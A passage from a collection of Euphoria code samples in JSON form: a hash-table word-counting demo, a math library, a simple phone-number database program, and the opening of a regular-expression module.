    "content": "--****\n-- === hash.ex\n-- Hash Table Demo written by Junko C. Miura, RDS\n\ninclude std/console.e\ninclude std/io.e\ninclude std/hash.e\ninclude std/map.e\ninclude std/types.e\ninclude std/convert.e\ninclude std/cmdline.e\n\nwithout type_check\n\nconstant EOF = -1\nconstant TRUE = 1\nconstant STRING = 1, COUNT = 2 -- fields for one hash table entry\n\ninteger hashBuckets  -- prime\n\t-- With the hash function below, it helps (a little bit) \n\t-- to have a prime number here. Don't use a power of 2.\n\t-- You'll get better performance by using a\n\t-- bigger size of table, but it uses up space.\n\n-- This hash table consists of a set of two sequences. One for the\n-- keys (words) and one for the corresponding word counter.\n\n-- Initialize the hash table to a sequence of empty \"buckets\"\nsequence table_words\nsequence table_count\n\ninteger compares = 0\ninteger  inputHandle\nsequence vOutPath\ninteger outputHandle\n\ninteger numZeroBucket, max, items, len, total_words\n\nfunction hash_function(sequence string)\n\treturn remainder(hash(string, stdhash:HSIEH32 ), hashBuckets) + 1\nend function\n\nprocedure update_table(sequence string)\n-- If string is not in the table already, add it, with a count of 1, \n-- otherwise just increment its count.\n\tinteger hash_val, found\n\tsequence bucket\n\tsequence counters\n\t\n\t-- which bucket to search?\n\thash_val = hash_function(string) \n\tbucket = table_words[hash_val]\n\tfound = find(string, bucket)\n\tif found then\n\t\tcompares += found\n\t\ttable_count[hash_val][found] += 1\n\telse\n\t\tbucket = append(bucket, string)\n\t\ttable_words[hash_val] = bucket\n\t\ttable_count[hash_val] &= 1\n\tend if\nend procedure\n\nfunction next_word()\n-- Read to get the next \"word\".\n\tinteger c\n\tsequence word\n\n\tword = \"\"\n\twhile TRUE do\n\t\tc = getc(inputHandle)\n\t\tif t_alpha(c) then\n\t\t    word &= c\n\t\telse\n\t\t\tif length(word) > 0 or c = EOF then\n\t\t    \texit\n\t\t\tend if\n\t\tend if\n\tend while\n\t\n\treturn word\nend function\n\nprocedure build_table()\n-- build a hash table containing all unique words in standard input\n\tobject word\n\n\twhile length(word) > 0 with entry do\n\t    update_table(word)\n\tentry\n\t\tword = next_word()\n\tend while\n\t\nend procedure\n\nsequence vOpts = {\n\t{\"s\", \"hash\", \"Hash size\", {ONCE, HAS_PARAMETER, NO_CASE}, -1},\n\t{\"o\", \"outfile\", \"File to receive word list and statistics\", {ONCE, NO_CASE, HAS_PARAMETER}, -1},\n\t$\n}\n\nobject vOptMap\n\nwithout warning\n\noverride procedure abort(integer errcode)\n\tmaybe_any_key(\"\\nPress Any Key to Continue...\")\n\teu:abort(errcode)\nend procedure\n\nprocedure main()\n\tsequence lDicts\n\tobject lFileList\n\tinteger lFileHandle\n\t\n\tvOptMap = cmd_parse(vOpts)\n\t\n\tvOutPath = map:get(vOptMap, \"outfile\", \"hash.out\")\n\thashBuckets = to_integer(map:get(vOptMap, \"hash\", \"1009\"))\n\ttable_words = repeat({}, hashBuckets)\n\ttable_count = repeat({}, hashBuckets)\n\t\n\t\n\toutputHandle = open(vOutPath, \"w\")\n\tif outputHandle = -1 then\n\t\twritefln(\"Cannot open output file\")\n\t\tabort(1)\n\tend if\n\t\n\t\n\tlFileList = map:get(vOptMap, cmdline:EXTRAS, {})\n\t\n\tif length(lFileList) < 1 then\n\t\tputs(2, \"You must give the name of an input file\")\n\t\tabort(1)\n\tend if\n\t\n\tif length(lFileList) > 1 then\n\t\tputs(2, \"You must only give the name of one input file\")\n\t\tabort(1)\n\tend if\n\t\n\tinputHandle = open(lFileList[1], \"r\")\n\tif inputHandle = -1 then\n\t\tputs(2, \"Cannot open input file.\")\n\t\tabort(1)\n\tend if\n\n\n\tatom t\n\tt = time()         -- Time the table-building process only\n\tbuild_table() \n\tt = time() - t     -- stop timer\n\t\n\t\n\twritefln(\"\\n[:.2] seconds\", t)\n\t\n\tnumZeroBucket = 0\n\titems = 0\n\tmax = 0\n\ttotal_words = 0\n\t\n\tfor i = 1 to length(table_words) do\n\t\tlen = length(table_words[i])\n\t\titems += len\n\t\tfor j = 1 to length(table_count[i]) do\n\t\t\ttotal_words += table_count[i][j]\n\t\tend for\n\t\tif len = 0 then\n\t\t\tnumZeroBucket += 1\n\t\telsif len > max then\n\t\t    max = len\n\t\tend if\n\tend for\n\t\n\tif total_words = 0 then\n\t\tabort(0)\n\tend if\n\t\n\twritefln(outputHandle, \"build time ..................... : [:.2]\", t)\n\twritefln(outputHandle, \"number of hash table buckets ... : []\", hashBuckets)\n\twritefln(outputHandle, \"number of words in input stream  : []\", total_words)\n\twritefln(outputHandle, \"number of items in hash table .. : []\", items)\n\twritefln(outputHandle, \"number of empty buckets ........ : []\", numZeroBucket)\n\twritefln(outputHandle, \"largest bucket size ............ : []\", max)\n\twritefln(outputHandle, \"average bucket size ............ : [:.2]\", items / (hashBuckets - numZeroBucket))\n\twritefln(outputHandle, \"compares per lookup ............ : [:.2]\",  compares/total_words)\n\t\n\tfor i = 1 to length(table_words) do\n\t\tif length(table_words[i]) > 0 then\n\t\t    writef(outputHandle, \"bucket#[:6]: \", i)\n\t\t    for j = 1 to length(table_words[i]) do\n\t\t\t\tif j > 1 and remainder(j-1,5) = 0 then\n\t\t\t\t    writefln(outputHandle, \"\")\n\t\t\t\t    writef(outputHandle, \"             \")\n\t\t\t\tend if\n\t\t\t\t\n\t\t\t\twritef(outputHandle, \"[]:[] \", {table_words[i][j], table_count[i][j]})\n\t\n\t\t    end for\n\t\t\twritefln(outputHandle, \"\")\n\t\n\t\tend if\n\tend for\n\tclose(outputHandle)\n\twritefln(\"See '[1]' for statistics and table contents\", {vOutPath})\nend procedure\n\nmain()\n"
  },
  {
    "path": "samples/Euphoria/math.e",
    "content": "--****\n-- == Math\n\nnamespace math\n\npublic include std/rand.e\npublic include std/mathcons.e\ninclude std/error.e\n\ntype trig_range(object x)\n--  values passed to arccos and arcsin must be [-1,+1]\n\tif atom(x) then\n\t\treturn x >= -1 and x <= 1\n\telse\n\t\tfor i = 1 to length(x) do\n\t\t\tif not trig_range(x[i]) then\n\t\t\t\treturn 0\n\t\t\tend if\n\t\tend for\n\t\treturn 1\n\tend if\nend type\n\n--****\n-- === Sign and Comparisons\n--\n\n--**\n-- returns the absolute value of numbers.\npublic function abs(object a)\n\tobject t\n\tif atom(a) then\n\t\tif a >= 0 then\n\t\t\treturn a\n\t\telse\n\t\t\treturn - a\n\t\tend if\n\tend if\n\tfor i = 1 to length(a) do\n\t\tt = a[i]\n\t\tif atom(t) then\n\t\t\tif t < 0 then\n\t\t\t\ta[i] = - t\n\t\t\tend if\n\t\telse\n\t\t\ta[i] = abs(t)\n\t\tend if\n\tend for\n\treturn a\nend function\n\n--**\n-- returns -1, 0 or 1 for each element according to it being negative, zero or positive.\npublic function sign(object a)\n\t-- small so normally it will be inlined\n\treturn (a > 0) - (a < 0)\nend function\n\n--**\n-- returns the larger of two objects.\npublic function larger_of(object objA, object objB)\n\n\tif compare(objA, objB) > 0 then\n\t\treturn objA\n\telse\n\t\treturn objB\n\tend if\nend function\n\n--**\n-- returns the smaller of two objects.\npublic function smaller_of(object objA, object objB)\n\tif compare(objA, objB) < 0 then\n\t\treturn objA\n\telse\n\t\treturn objB\n\tend if\nend function\n\n--**\n-- computes the maximum value among all the argument's elements.\npublic function max(object a)\n\tatom b, c\n\tif atom(a) then\n\t\treturn a\n\tend if\n\tb = mathcons:MINF\n\tfor i = 1 to length(a) do\n\t\tc = max(a[i])\n\t\tif c > b then\n\t\t\tb = c\n\t\tend if\n\tend for\n\treturn b\nend function\n\n--**\n-- computes the minimum value among all the argument's elements.\npublic function min(object a)\n\tatom b, c\n\tif atom(a) then\n\t\t\treturn a\n\tend if\n\tb = mathcons:PINF\n\tfor i = 1 to length(a) do\n\t\tc = min(a[i])\n\t\t\tif c < b then\n\t\t\t\tb = c\n\t\tend if\n\tend for\n\treturn b\nend function\n\n--**\n-- ensures that the ##item## is in a range of values supplied by inclusive ##range_limits##.\npublic function ensure_in_range(object item, sequence range_limits)\n\tif length(range_limits) < 2 then\n\t\treturn item\n\tend if\n\n\tif eu:compare(item, range_limits[1]) < 0 then\n\t\treturn range_limits[1]\n\tend if\n\tif eu:compare(item, range_limits[$]) > 0 then\n\t\treturn range_limits[$]\n\tend if\n\treturn item\nend function\n\n--**\n-- ensures that the ##item## is in a list of values supplied by ##list##.\npublic function ensure_in_list(object item, sequence list, integer default=1)\n\tif length(list) = 0 then\n\t\treturn item\n\tend if\n\tif find(item, list) = 0 then\n\t\tif default>=1 and default<=length(list) then\n\t\t    return list[default]\n\t\telse\n\t\t\treturn list[1]\n\t\tend if\n\tend if\n\treturn item\nend function\n\n--****\n-- === Roundings and Remainders\n\n--**\n-- computes the remainder of the division of two objects using floored division.\npublic function mod(object x, object y)\n\tif equal(sign(x), sign(y)) then\n\t\treturn remainder(x,y)\n\tend if\n\treturn x - y * floor(x / y)\nend function\n\n--**\n-- returns the integer portion of a number.\npublic function trunc(object x)\n\treturn sign(x) * floor(abs(x))\nend function\n\n--**\n-- returns the fractional portion of a number.\npublic function frac(object x)\n\tobject temp = abs(x)\n\treturn sign(x) * (temp - floor(temp))\nend function\n\n--**\n-- returns an integral division of two objects.\npublic function intdiv(object a, object b)\n\treturn sign(a)*ceil(abs(a)/abs(b))\nend function\n\n--**\n-- computes the next integer equal or greater than the argument.\npublic function ceil(object a)\n\treturn -floor(-a)\nend function\n\n--**\n-- returns the argument's elements rounded to some precision.\npublic function round(object a, object precision=1)\n\tinteger len\n\tsequence s\n\tobject t, u\n\n\tprecision = abs(precision)\n\tif atom(a) then\n\t\tif atom(precision) then\n\t\t\treturn floor(0.5 + (a * precision )) / precision\n\t\tend if\n\t\tlen = length(precision)\n\t\ts = repeat(0, len)\n\t\tfor i = 1 to len do\n\t\t\tt = precision[i]\n\t\t\tif atom (t) then\n\t\t\t\ts[i] = floor( 0.5 + (a * t)) / t\n\t\t\telse\n\t\t\t\ts[i] = round(a, t)\n\t\t\tend if\n\t\tend for\n\t\treturn s\n\telsif atom(precision) then\n\t\tlen = length(a)\n\t\ts = repeat(0, len)\n\t\tfor i = 1 to len do\n\t\t\tt = a[i]\n\t\t\tif atom(t) then\n\t\t\t\ts[i] = floor(0.5 + (t * precision)) / precision\n\t\t\telse\n\t\t\t\ts[i] = round(t, precision)\n\t\t\tend if\n\t\tend for\n\t\treturn s\n\tend if\n\tlen = length(a)\n\tif len != length(precision) then\n\t\terror:crash(\"The lengths of the two supplied sequences do not match.\")\n\tend if\n\ts = repeat(0, len)\n\tfor i = 1 to len do\n\t\tt = precision[i]\n\t\tif atom(t) then\n\t\t\tu = a[i]\n\t\t\tif atom(u) then\n\t\t\t\ts[i] = floor(0.5 + (u * t)) / t\n\t\t\telse\n\t\t\t\ts[i] = round(u, t)\n\t\t\tend if\n\t\telse\n\t\t\ts[i] = round(a[i], t)\n\t\tend if\n\tend for\n\treturn s\nend function\n\n--****\n-- === Trigonometry\n\n--**\n-- returns an angle given its cosine.\npublic function arccos(trig_range x)\n--  returns angle in radians\n\treturn mathcons:HALFPI - 2 * arctan(x / (1.0 + sqrt(1.0 - x * x)))\nend function\n\n--**\n-- returns an angle given its sine.\npublic function arcsin(trig_range x)\n--  returns angle in radians\n\treturn 2 * arctan(x / (1.0 + sqrt(1.0 - x * x)))\nend function\n\n--**\n-- calculate the arctangent of a ratio.\npublic function atan2(atom y, atom x)\n\tif x > 0 then\n\t\treturn arctan(y/x)\n\telsif x < 0 then\n\t\tif y < 0 then\n\t\t\treturn arctan(y/x) - mathcons:PI\n\t\telse\n\t\t\treturn arctan(y/x) + mathcons:PI\n\t\tend if\n\telsif y > 0 then\n\t\treturn mathcons:HALFPI\n\telsif y < 0 then\n\t\treturn -(mathcons:HALFPI)\n\telse\n\t\treturn 0\n\tend if\nend function\n\n--**\n-- converts an angle measured in radians to an angle measured in degrees.\npublic function rad2deg (object x)\n   return x * mathcons:RADIANS_TO_DEGREES\nend function\n\n--**\n-- converts an angle measured in degrees to an angle measured in radians.\npublic function deg2rad (object x)\n   return x * mathcons:DEGREES_TO_RADIANS\nend function\n\n--****\n-- === Logarithms and Powers\n\n--**\n-- returns the base 10 logarithm of a number.\npublic function log10(object x1)\n\treturn log(x1) * mathcons:INVLN10\nend function\n\n--**\n-- computes some power of E.\npublic function exp(atom x)\n\treturn power( mathcons:E, x)\nend function\n\n--**\n-- computes the nth Fibonacci Number.\npublic function fib(integer i)\n\treturn floor((power( mathcons:PHI, i) / mathcons:SQRT5) + 0.5)\nend function\n\n--****\n-- === Hyperbolic Trigonometry\n\n--**\n-- computes the hyperbolic cosine of an object.\npublic function cosh(object a)\n    return (exp(a)+exp(-a))/2\nend function\n\n--**\n-- computes the hyperbolic sine of an object.\npublic function sinh(object a)\n    return (exp(a)-exp(-a))/2\nend function\n\n--**\n-- computes the hyperbolic tangent of an object.\npublic function tanh(object a)\n    return sinh(a)/cosh(a)\nend function\n\n--**\n-- computes the reverse hyperbolic sine of an object.\npublic function arcsinh(object a)\n    return log(a+sqrt(1+a*a))\nend function\n\ntype not_below_1(object x)\n    if atom(x) then\n        return x>=1.0\n    end if\n    for i=1 to length(x) do\n        if not not_below_1(x[i]) then\n            return 0\n        end if\n    end for\n    return 1\nend type\n\n--**\n-- computes the reverse hyperbolic cosine of an object.\npublic function arccosh(not_below_1 a)\n    return log(a+sqrt(a*a-1))\nend function\n\ntype abs_below_1(object x)\n    if atom(x) then\n        return x>-1.0 and x<1.0\n    end if\n    for i=1 to length(x) do\n        if not abs_below_1(x[i]) then\n            return 0\n        end if\n    end for\n    return 1\nend type\n\n--**\n-- computes the reverse hyperbolic tangent of an object.\npublic function arctanh(abs_below_1 a)\n    return log((1+a)/(1-a))/2\nend function\n\n--****\n-- === Accumulation\n\n--**\n-- computes the sum of all atoms in the argument, no matter how deeply nested.\npublic function sum(object a)\n\tatom b\n\tif atom(a) then\n\t\treturn a\n\tend if\n\tb = 0\n\tfor i = 1 to length(a) do\n\t\tif atom(a[i]) then\n\t\t\tb += a[i]\n\t\telse\n\t\t\tb += sum(a[i])\n\t\tend if\n\tend for\n\treturn b\nend function\n\n--**\n-- computes the product of all the atom in the argument, no matter how deeply nested.\npublic function product(object a)\n\tatom b\n\tif atom(a) then\n\t\treturn a\n\tend if\n\tb = 1\n\tfor i = 1 to length(a) do\n\t\tif atom(a[i]) then\n\t\t\tb *= a[i]\n\t\telse\n\t\t\tb *= product(a[i])\n\t\tend if\n\tend for\n\treturn b\nend function\n\n--**\n-- or's together all atoms in the argument, no matter how deeply nested.\npublic function or_all\t(object a)\n\tatom b\n\tif atom(a) then\n\t\treturn a\n\tend if\n\tb = 0\n\tfor i = 1 to length(a) do\n\t\tif atom(a[i]) then\n\t\t\tb = or_bits(b, a[i])\n\t\telse\n\t\t\tb = or_bits(b, or_all(a[i]))\n\t\tend if\n\tend for\n\treturn b\nend function\n\n--****\n-- === Bitwise Operations\n\n--**\n-- moves the bits in the input value by the specified distance.\npublic function shift_bits(object source_number, integer shift_distance)\n\n\tif sequence(source_number) then\n\t\tfor i = 1 to length(source_number) do\n\t\t\tsource_number[i] = shift_bits(source_number[i], shift_distance)\n\t\tend for\n\t\treturn source_number\n\tend if\n\tsource_number = and_bits(source_number, 0xFFFFFFFF)\n\tif shift_distance = 0 then\n\t\treturn source_number\n\tend if\n\n\tif shift_distance < 0 then\n\t\tsource_number *= power(2, -shift_distance)\n\telse\n\t\tinteger lSigned = 0\n\t\t-- Check for the sign bit so we don't propagate it.\n\t\tif and_bits(source_number, 0x80000000) then\n\t\t\tlSigned = 1\n\t\t\tsource_number = and_bits(source_number, 0x7FFFFFFF)\n\t\tend if\n\t\tsource_number /= power(2, shift_distance)\n\t\tif lSigned and shift_distance < 32 then\n\t\t\t-- Put back the sign bit now shifted\n\t\t\tsource_number = or_bits(source_number, power(2, 31-shift_distance))\n\t\tend if\n\tend if\n\n\treturn and_bits(source_number, 0xFFFFFFFF)\nend function\n\n--**\n-- rotates the bits in the input value by the specified distance.\npublic function rotate_bits(object source_number, integer shift_distance)\n\tatom lTemp\n\tatom lSave\n\tinteger lRest\n\n\tif sequence(source_number) then\n\t\tfor i = 1 to length(source_number) do\n\t\t\tsource_number[i] = rotate_bits(source_number[i], shift_distance)\n\t\tend for\n\t\treturn source_number\n\tend if\n\n\tsource_number = and_bits(source_number, 0xFFFFFFFF)\n\tif shift_distance = 0 then\n\t\treturn source_number\n\tend if\n\n\tif shift_distance < 0 then\n\t\tlSave = not_bits(power(2, 32 + shift_distance) - 1)\n\t\tlRest = 32 + shift_distance\n\telse\n\t\tlSave = power(2, shift_distance) - 1\n\t\tlRest = shift_distance - 32\n\tend if\n\n\tlTemp = shift_bits(and_bits(source_number, lSave), lRest)\n\tsource_number = shift_bits(source_number, shift_distance)\n\treturn or_bits(source_number, lTemp)\nend function\n\n--****\n-- Arithmetic\n\n--**\n-- Returns the greater common divisor of two atoms\npublic function gcd(atom p, atom q)\n\tatom r\n\n\t-- Both arguments must be positive.\n\tif p < 0 then\n\t\tp = -p\n\tend if\n\tif q < 0 then\n\t\tq = -q\n\tend if\n\n\t-- Strip off any fractional part.\n\tp = floor(p)\n\tq = floor(q)\n\n\t-- Ensure that 'p' is not smaller than 'q'\n\tif p < q then\n\t\tr = p\n\t\tp = q\n\t\tq = r\n\tend if\n\n\t-- Special case.\n\tif q = 0 then\n\t\treturn p\n\tend if\n\n\t-- repeat until I get a remainder less than 2.\n    while r > 1 with entry do\n    \t-- set up next cycle using denominator and remainder from previous cycle.\n\t\tp = q\n\t\tq = r\n\tentry\n\t\t-- get remainder after dividing p by q\n\t\tr = remainder(p, q)\n    end while\n\n\tif r = 1 then\n\t\treturn 1\n\telse\n\t\treturn q\n\tend if\nend function\n\n--****\n-- Floating Point\n\n--**\n-- compares two (sets of) numbers based on approximate equality.\npublic function approx(object p, object q, atom epsilon = 0.005)\n\n\tif sequence(p) then\n\t\tif sequence(q) then\n\t\t\tif length(p) != length(q) then\n\t\t\t\terror:crash(\"approx(): Sequence arguments must be the same length\")\n\t\t\tend if\n\t\t\tfor i = 1 to length(p) do\n\t\t\t\tp[i] = approx(p[i], q[i])\n\t\t\tend for\n\t\t\treturn p\n\t\telse\n\t\t\tfor i = 1 to length(p) do\n\t\t\t\tp[i] = approx(p[i], q)\n\t\t\tend for\n\t\t\treturn p\n\t\tend if\n\telsif sequence(q) then\n\t\t\tfor i = 1 to length(q) do\n\t\t\t\tq[i] = approx(p, q[i])\n\t\t\tend for\n\t\t\treturn q\n\telse\n\t\tif p > (q + epsilon) then\n\t\t\treturn 1\n\t\tend if\n\n\t\tif p < (q - epsilon) then\n\t\t\treturn -1\n\t\tend if\n\n\t\treturn 0\n\tend if\nend function\n\n--**\n-- tests for power of 2.\npublic function powof2(object p)\n\treturn not (and_bits(p, p-1))\nend function\n\n--**\n-- tests if the supplied integer is a even or odd number.\npublic function is_even(integer test_integer)\n\treturn (and_bits(test_integer, 1) = 0)\nend function\n\n--**\n-- tests if the supplied Euphoria object is even or odd.\npublic function is_even_obj(object test_object)\n\tif atom(test_object) then\n\t\tif integer(test_object) then\n\t\t\treturn (and_bits(test_object, 1) = 0)\n\t\tend if\n\t\treturn 0\n\tend if\n\tfor i = 1 to length(test_object) do\n\t\ttest_object[i] = is_even_obj(test_object[i])\n\tend for\n\n\treturn test_object\nend function\n\n"
  },
  {
    "path": "samples/Euphoria/mydata.ex",
    "content": "--****\n-- === mydata.ex\n-- This program uses the Euphoria Database System (EDS) to create and maintain a simple database.\n\nconstant FIELDS = {\n\t\"Phone number\",\n\t\"Last Name\",\n\t\"First name\",\n\t\"Middle Initial\"\n\t}\n\n-- file to store the database in:\nconstant MYNAME   = \"mydata.edb\"\n\ninclude std/eds.e  -- Euphoria Database System\ninclude std/get.e\ninclude std/sort.e\ninclude std/text.e\n\nconstant KEYBOARD = 0,\n\t SCREEN   = 1,\n\t ERROR    = 2\n\nconstant TRUE = 1\nconstant WHITE_SPACE = \" \\t\\n\"\nconstant FORM_FEED = 12\n\ntype file_number(integer x)\n-- document which vars are used as file numbers \n    return x >= 0\nend type\n\nprocedure myfatal(sequence msg)\n-- fatal error\n    puts(ERROR, '\\n' & \"An unexpected error occurred: \" & msg & '\\n')\n    ? 1/0 -- too see call stack\nend procedure\n\nfunction user_input()\n-- get user input from keyboard\n    object line\n\n    while TRUE do\n\tline = gets(KEYBOARD)\n\tif sequence(line) then\n\t    -- delete any leading whitespace\n\t    while find(line[1], WHITE_SPACE) do\n\t\tline = line[2..length(line)]\n\t\tif length(line) = 0 then\n\t\t    exit\n\t\tend if\n\t    end while\n\t    if length(line) > 0 then\n\t\texit\n\t    end if\n\tend if\n\tputs(SCREEN, \"\\n? \")\n    end while\n    -- delete trailing whitespace\n    while find(line[length(line)], WHITE_SPACE) do\n\tline = line[1..length(line)-1] \n    end while\n    return line\nend function\n\nprocedure show(file_number f, object key, object data)\n    puts(f, \"\\n\" & key & '\\n')\n    for i = 2 to length(FIELDS) do\n\tputs(f, '\\t' & data[i-1] & '\\n')\n    end for\nend procedure\n\nprocedure add()\n-- add a new record to the database\n    sequence key, data\n    integer f\n    \n    puts(SCREEN, \"\\n\\t\" & FIELDS[1] & \": \")\n    key = user_input()\n    f = db_find_key(key)\n    if f >= 1 then\n\tshow(SCREEN, db_record_key(f), db_record_data(f))\n\tputs(SCREEN, \"Do you want to update this record? (y/n) \")\n\tif find('n', gets(0)) then\n\t    return\n\tend if\n    end if\n    data = {}\n    for i = 2 to length(FIELDS) do\n\tputs(SCREEN, \"\\n\\t\" & FIELDS[i] & \": \")\n\tdata = append(data, user_input())\n    end for\n    puts(SCREEN, '\\n')\n    if f >= 1 then\n\t-- update data part of record\n\tdb_replace_data(f, data)\n    else\n\t-- insert new record\n\tif db_insert(key, data) != DB_OK then\n\t    myfatal(\"insert failed!\\n\")\n\tend if\n    end if\nend procedure \n\nprocedure delete()\n-- delete a record, given first field \n    sequence name\n    integer d\n\n    puts(SCREEN, \"\\n\\t\" & FIELDS[1] & \": \")\n    name = user_input()\n    d = db_find_key(name)\n    if d < 0 then\n\tputs(SCREEN, \"\\n\\tnot found\\n\")\n\treturn\n    end if \n    show(SCREEN, db_record_key(d), db_record_data(d))\n    puts(SCREEN, \"Delete? (y/n) \")\n    if find('n', gets(0)) then\n\treturn\n    end if\n    db_delete_record(d)\nend procedure\n\nprocedure find_name()\n-- find the record that matches the surname\n    sequence name\n    integer f\n\n    puts(SCREEN, \"\\n\\t\" & FIELDS[1] & \": \")\n    name = user_input()\n    f = db_find_key(name)\n    if f < 0 then\n\tputs(SCREEN, \"\\n\\tnot found\\n\")\n\treturn\n    end if \n    show(SCREEN, db_record_key(f), db_record_data(f))\nend procedure\n\nprocedure list(file_number f)\n-- list the entire database to a device\n    puts(f, '\\n')\n    for rec = 1 to db_table_size() do\n\tshow(f, db_record_key(rec), db_record_data(rec)) \n    end for\nend procedure\n\nprocedure main()\n    sequence command\n    file_number printer\n    \n    -- open or create the database\n    if db_open(MYNAME, DB_LOCK_NO) != DB_OK then\n\tif db_create(MYNAME, DB_LOCK_NO) != DB_OK then\n\t    myfatal(\"Couldn't create database\")\n\tend if\n\tif db_create_table(\"phone numbers\") != DB_OK then\n\t    myfatal(\"couldn't create table\")\n\tend if\n    end if\n\n    -- select the (only) table in the database\n    if db_select_table(\"phone numbers\") != DB_OK then\n\tmyfatal(\"couldn't select table\\n\")\n    end if\n    \n    -- prompt the user for his command\n    clear_screen()\n    puts(SCREEN, \"\\t\\tSimple Database\\n\")\n    while TRUE do\n\tputs(SCREEN, \n\t     \"\\n(a)dd, (d)elete, (f)ind, (l)ist, (p)rint, (q)uit: \")\n\tcommand = upper(user_input())\n\tif 'A' = command[1] then\n\t    add()\n\n\telsif 'D' = command[1] then\n\t    delete()\n\n\telsif 'F' = command[1] then\n\t    find_name()\n\n\telsif 'Q' = command[1] then\n\t    exit\n\n\telsif 'L' = command[1] then\n\t    list(SCREEN)\n\n\telsif 'P' = command[1] then\n\t    printer = open(\"PRN\", \"w\")\n\t    if printer = -1 then\n\t\tputs(SCREEN, \"Can't open printer device\\n\")\n\t    else\n\t\tlist(printer)\n\t\tputs(printer, FORM_FEED)\n\t\tclose(printer)\n\t    end if\n\telse\n\t    puts(SCREEN, \"\\nsay what?\\n\")                   \n\tend if \n    end while\nend procedure\n\nmain()\n\n"
  },
  {
    "path": "samples/Euphoria/regex.e",
    "content": "--****\n-- == Regular Expressions\n\nnamespace regex\n\ninclude std/types.e\ninclude std/flags.e as flags\ninclude std/machine.e\ninclude std/math.e\ninclude std/search.e\ninclude std/text.e\n\nenum\n\tM_PCRE_COMPILE          = 68,\n\tM_PCRE_EXEC             = 70,\n\tM_PCRE_REPLACE          = 71,\n\tM_PCRE_ERROR_MESSAGE    = 95,\n\tM_PCRE_GET_OVECTOR_SIZE = 97,\n\t$\n\n--****\n-- === Option Constants\n\npublic constant\n\tDEFAULT            = #00000000,\n\tCASELESS           = #00000001,\n\tMULTILINE          = #00000002,\n\tDOTALL             = #00000004,\n\tEXTENDED           = #00000008,\n\tANCHORED           = #00000010,\n\tDOLLAR_ENDONLY     = #00000020,\n\tEXTRA              = #00000040,\n\tNOTBOL             = #00000080,\n\tNOTEOL             = #00000100,\n\tUNGREEDY           = #00000200,\n\tNOTEMPTY           = #00000400,\n\tUTF8               = #00000800,\n\tNO_AUTO_CAPTURE    = #00001000,\n\tNO_UTF8_CHECK      = #00002000,\n\tAUTO_CALLOUT       = #00004000,\n\tPARTIAL            = #00008000,\n\tDFA_SHORTEST       = #00010000,\n\tDFA_RESTART        = #00020000,\n\tFIRSTLINE          = #00040000,\n\tDUPNAMES           = #00080000,\n\tNEWLINE_CR         = #00100000,\n\tNEWLINE_LF         = #00200000,\n\tNEWLINE_CRLF       = #00300000,\n\tNEWLINE_ANY        = #00400000,\n\tNEWLINE_ANYCRLF    = #00500000,\n\tBSR_ANYCRLF        = #00800000,\n\tBSR_UNICODE        = #01000000,\n\tSTRING_OFFSETS     = #0C000000\n\nconstant option_names = {\n\t{DEFAULT,\"DEFAULT\"},\n\t{CASELESS,\"CASELESS\"},\n\t{MULTILINE,\"MULTILINE\"},\n\t{DOTALL,\"DOTALL\"},\n\t{EXTENDED,\"EXTENDED\"},\n\t{ANCHORED,\"ANCHORED\"},\n\t{DOLLAR_ENDONLY,\"DOLLAR_ENDONLY\"},\n\t{EXTRA,\"EXTRA\"},\n\t{NOTBOL,\"NOTBOL\"},\n\t{NOTEOL,\"NOTEOL\"},\n\t{UNGREEDY,\"UNGREEDY\"},\n\t{NOTEMPTY,\"NOTEMPTY\"},\n\t{UTF8,\"UTF8\"},\n\t{NO_AUTO_CAPTURE,\"NO_AUTO_CAPTURE\"},\n\t{NO_UTF8_CHECK,\"NO_UTF8_CHECK\"},\n\t{AUTO_CALLOUT,\"AUTO_CALLOUT\"},\n\t{PARTIAL,\"PARTIAL\"},\n\t{DFA_SHORTEST,\"DFA_SHORTEST\"},\n\t{DFA_RESTART,\"DFA_RESTART\"},\n\t{FIRSTLINE,\"FIRSTLINE\"},\n\t{DUPNAMES,\"DUPNAMES\"},\n\t{NEWLINE_CR,\"NEWLINE_CR\"},\n\t{NEWLINE_LF,\"NEWLINE_LF\"},\n\t{NEWLINE_CRLF,\"NEWLINE_CRLF\"},\n\t{NEWLINE_ANY,\"NEWLINE_ANY\"},\n\t{NEWLINE_ANYCRLF,\"NEWLINE_ANYCRLF\"},\n\t{BSR_ANYCRLF,\"BSR_ANYCRLF\"},\n\t{BSR_UNICODE,\"BSR_UNICODE\"},\n\t{STRING_OFFSETS,\"STRING_OFFSETS\"}\n}\n\n--****\n-- === Error Constants\n\npublic constant\n\tERROR_NOMATCH        =  (-1),\n\tERROR_NULL           =  (-2),\n\tERROR_BADOPTION      =  (-3),\n\tERROR_BADMAGIC       =  (-4),\n\tERROR_UNKNOWN_OPCODE =  (-5),\n\tERROR_UNKNOWN_NODE   =  (-5),\n\tERROR_NOMEMORY       =  (-6),\n\tERROR_NOSUBSTRING    =  (-7),\n\tERROR_MATCHLIMIT     =  (-8),\n\tERROR_CALLOUT        =  (-9),\n\tERROR_BADUTF8        = (-10),\n\tERROR_BADUTF8_OFFSET = (-11),\n\tERROR_PARTIAL        = (-12),\n\tERROR_BADPARTIAL     = (-13),\n\tERROR_INTERNAL       = (-14),\n\tERROR_BADCOUNT       = (-15),\n\tERROR_DFA_UITEM      = (-16),\n\tERROR_DFA_UCOND      = (-17),\n\tERROR_DFA_UMLIMIT    = (-18),\n\tERROR_DFA_WSSIZE     = (-19),\n\tERROR_DFA_RECURSE    = (-20),\n\tERROR_RECURSIONLIMIT = (-21),\n\tERROR_NULLWSLIMIT    = (-22),\n\tERROR_BADNEWLINE     = (-23)\n\npublic constant error_names = 